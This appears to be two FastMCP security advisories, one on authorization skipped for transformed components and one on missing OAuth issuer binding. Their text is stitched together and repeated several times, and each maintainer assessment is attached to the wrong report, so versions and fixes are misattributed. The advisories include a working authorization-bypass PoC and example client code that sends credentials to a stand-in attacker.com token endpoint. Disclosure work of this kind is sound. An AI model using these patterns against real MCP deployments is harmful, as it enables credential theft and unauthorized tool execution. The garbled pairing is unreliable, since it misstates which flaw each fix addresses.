FastMCP's direct component paths can return a transformed component before its applicable AuthCheck, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit e2fcc412001ff7414095c5dc282f94c70299a612 using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.

Details

Attacker prerequisites

A server uses a supported provider, server, or session transform and a metadata-aware component AuthCheck. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.

Root cause

Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See server.py:933-940. The MCP tools/call handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.

Proof of concept

Save this as poc_transform_auth.py:

import anyio

from fastmcp import FastMCP
from fastmcp.server.auth import restrict_tag
from fastmcp.server.transforms.tool_transform import ToolTransform
from fastmcp.tools.base import Tool
from fastmcp.tools.tool_transform import ToolTransformConfig


async def main() -> None:
    server = FastMCP("auth-boundary")
    server.add_tool(
        Tool.from_function(
            lambda: "PROTECTED SECRET",
            name="tagged_tool",
            tags={"public"},
            auth=restrict_tag("admin", scopes=["admin"]),
        )
    )
    server.add_transform(
        ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})})
    )

    print("listed:", [tool.name for tool in await server.list_tools()])
    try:
        result = await server.call_tool("tagged_tool")
    except Exception as exc:
        print("BLOCKED:", type(exc).__name__)
    else:
        print("VULNERABLE: direct call returned", result.content[0].text)


anyio.run(main)

Run it in an isolated environment:

uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py

Observed on 4.1.0 for a caller without the admin scope:

listed: []
VULNERABLE: direct call returned PROTECTED SECRET

Impact

A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.

Recommended remediation

Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable AuthCheck runs.

AI assistance

Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.

Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
    issuer="https://auth.example.com",
)

Original report

Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

Details

When fastmcp connects to an MCP server with OAuth client credentials:

1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
2. Provider binds to server URL and discovers OAuth metadata
3. Client exchanges credentials at the token endpoint
4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
5. Attack: attacker-controlled MCP server advertises attacker's authorization server
6. Result: client secret leaked to attacker

Affected code:

• fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

• fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage:

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
    # Client credentials get sent to attacker's auth server if attacker's MCP 
    # server advertises it in RFC 9728 metadata
    await client.list_tools()

Proof of concept

1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token

2. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider

   auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools()

3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

4. Attacker receives client_id and client_secret in Basic auth header

5. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer.

Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation.

Affected parties:

• Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
• Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised

Attack scenarios:

• User misconfigures MCP server URL in Prefect agent config
• MCP server URL obtained from user input without validation
• Legitimate MCP server is compromised/redirected
• MCP service provider (if SaaS) is compromised

Maintainer assessment and remediation

This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.

The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.

Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both fastmcp and fastmcp-slim installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.

Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.

Original report

Post-transform component authorization is skipped on direct calls

Summary

FastMCP's direct component paths can return a transformed component before its applicable AuthCheck, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit e2fcc412001ff7414095c5dc282f94c70299a612 using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.

Details

Attacker prerequisites

A server uses a supported provider, server, or session transform and a metadata-aware component AuthCheck. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.

Root cause

Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See server.py:933-940. The MCP tools/call handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.

Proof of concept

Save this as poc_transform_auth.py:

import anyio

from fastmcp import FastMCP
from fastmcp.server.auth import restrict_tag
from fastmcp.server.transforms.tool_transform import ToolTransform
from fastmcp.tools.base import Tool
from fastmcp.tools.tool_transform import ToolTransformConfig


async def main() -> None:
    server = FastMCP("auth-boundary")
    server.add_tool(
        Tool.from_function(
            lambda: "PROTECTED SECRET",
            name="tagged_tool",
            tags={"public"},
            auth=restrict_tag("admin", scopes=["admin"]),
        )
    )
    server.add_transform(
        ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})})
    )

    print("listed:", [tool.name for tool in await server.list_tools()])
    try:
        result = await server.call_tool("tagged_tool")
    except Exception as exc:
        print("BLOCKED:", type(exc).__name__)
    else:
        print("VULNERABLE: direct call returned", result.content[0].text)


anyio.run(main)

Run it in an isolated environment:

uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py

Observed on 4.1.0 for a caller without the admin scope:

listed: []
VULNERABLE: direct call returned PROTECTED SECRET

Impact

A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.

Recommended remediation

Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable AuthCheck runs.

AI assistance

Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.

Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
    issuer="https://auth.example.com",
)

Original report

Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

Details

When fastmcp connects to an MCP server with OAuth client credentials:

1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
2. Provider binds to server URL and discovers OAuth metadata
3. Client exchanges credentials at the token endpoint
4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
5. Attack: attacker-controlled MCP server advertises attacker's authorization server
6. Result: client secret leaked to attacker

Affected code:

• fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

• fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage:

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
    # Client credentials get sent to attacker's auth server if attacker's MCP 
    # server advertises it in RFC 9728 metadata
    await client.list_tools()

Proof of concept

1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token

2. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider

   auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools()

3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

4. Attacker receives client_id and client_secret in Basic auth header

5. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer.

Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation.

Affected parties:

• Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
• Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised

Attack scenarios:

• User misconfigures MCP server URL in Prefect agent config
• MCP server URL obtained from user input without validation
• Legitimate MCP server is compromised/redirected
• MCP service provider (if SaaS) is compromised

Maintainer assessment and remediation

This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.

The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.

Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both fastmcp and fastmcp-slim installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.

Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.

Original report

Post-transform component authorization is skipped on direct calls

Summary

FastMCP's direct component paths can return a transformed component before its applicable AuthCheck, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit e2fcc412001ff7414095c5dc282f94c70299a612 using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.

Details

Attacker prerequisites

A server uses a supported provider, server, or session transform and a metadata-aware component AuthCheck. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.

Root cause

Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See server.py:933-940. The MCP tools/call handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.

Proof of concept

Save this as poc_transform_auth.py:

import anyio

from fastmcp import FastMCP
from fastmcp.server.auth import restrict_tag
from fastmcp.server.transforms.tool_transform import ToolTransform
from fastmcp.tools.base import Tool
from fastmcp.tools.tool_transform import ToolTransformConfig


async def main() -> None:
    server = FastMCP("auth-boundary")
    server.add_tool(
        Tool.from_function(
            lambda: "PROTECTED SECRET",
            name="tagged_tool",
            tags={"public"},
            auth=restrict_tag("admin", scopes=["admin"]),
        )
    )
    server.add_transform(
        ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})})
    )

    print("listed:", [tool.name for tool in await server.list_tools()])
    try:
        result = await server.call_tool("tagged_tool")
    except Exception as exc:
        print("BLOCKED:", type(exc).__name__)
    else:
        print("VULNERABLE: direct call returned", result.content[0].text)


anyio.run(main)

Run it in an isolated environment:

uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py

Observed on 4.1.0 for a caller without the admin scope:

listed: []
VULNERABLE: direct call returned PROTECTED SECRET

Impact

A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.

Recommended remediation

Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable AuthCheck runs.

AI assistance

Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.

Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
    issuer="https://auth.example.com",
)

Original report

Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

Details

When fastmcp connects to an MCP server with OAuth client credentials:

1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
2. Provider binds to server URL and discovers OAuth metadata
3. Client exchanges credentials at the token endpoint
4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
5. Attack: attacker-controlled MCP server advertises attacker's authorization server
6. Result: client secret leaked to attacker

Affected code:

• fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

• fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage:

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
    # Client credentials get sent to attacker's auth server if attacker's MCP 
    # server advertises it in RFC 9728 metadata
    await client.list_tools()

Proof of concept

1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token

2. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider

   auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools()

3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

4. Attacker receives client_id and client_secret in Basic auth header

5. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer.

Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation.

Affected parties:

• Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
• Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised

Attack scenarios:

• User misconfigures MCP server URL in Prefect agent config
• MCP server URL obtained from user input without validation
• Legitimate MCP server is compromised/redirected
• MCP service provider (if SaaS) is compromised

Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
    issuer="https://auth.example.com",
)

Original report

Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

Details

When fastmcp connects to an MCP server with OAuth client credentials:

1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
2. Provider binds to server URL and discovers OAuth metadata
3. Client exchanges credentials at the token endpoint
4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
5. Attack: attacker-controlled MCP server advertises attacker's authorization server
6. Result: client secret leaked to attacker

Affected code:

• fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

• fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage:

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
    # Client credentials get sent to attacker's auth server if attacker's MCP 
    # server advertises it in RFC 9728 metadata
    await client.list_tools()

Proof of concept

1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token

2. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider

   auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools()

3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

4. Attacker receives client_id and client_secret in Basic auth header

5. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer.

Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation.

Affected parties:

• Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
• Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised

Attack scenarios:

• User misconfigures MCP server URL in Prefect agent config
• MCP server URL obtained from user input without validation
• Legitimate MCP server is compromised/redirected
• MCP service provider (if SaaS) is compromised

Maintainer assessment and remediation

This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.

The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.

Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both fastmcp and fastmcp-slim installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.

Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.

Original report

Post-transform component authorization is skipped on direct calls

Summary

FastMCP's direct component paths can return a transformed component before its applicable AuthCheck, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit e2fcc412001ff7414095c5dc282f94c70299a612 using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.

Details

Attacker prerequisites

A server uses a supported provider, server, or session transform and a metadata-aware component AuthCheck. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.

Root cause

Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See server.py:933-940. The MCP tools/call handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.

Proof of concept

Save this as poc_transform_auth.py:

import anyio

from fastmcp import FastMCP
from fastmcp.server.auth import restrict_tag
from fastmcp.server.transforms.tool_transform import ToolTransform
from fastmcp.tools.base import Tool
from fastmcp.tools.tool_transform import ToolTransformConfig


async def main() -> None:
    server = FastMCP("auth-boundary")
    server.add_tool(
        Tool.from_function(
            lambda: "PROTECTED SECRET",
            name="tagged_tool",
            tags={"public"},
            auth=restrict_tag("admin", scopes=["admin"]),
        )
    )
    server.add_transform(
        ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})})
    )

    print("listed:", [tool.name for tool in await server.list_tools()])
    try:
        result = await server.call_tool("tagged_tool")
    except Exception as exc:
        print("BLOCKED:", type(exc).__name__)
    else:
        print("VULNERABLE: direct call returned", result.content[0].text)


anyio.run(main)

Run it in an isolated environment:

uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py

Observed on 4.1.0 for a caller without the admin scope:

listed: []
VULNERABLE: direct call returned PROTECTED SECRET

Impact

A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.

Recommended remediation

Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable AuthCheck runs.

AI assistance

Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.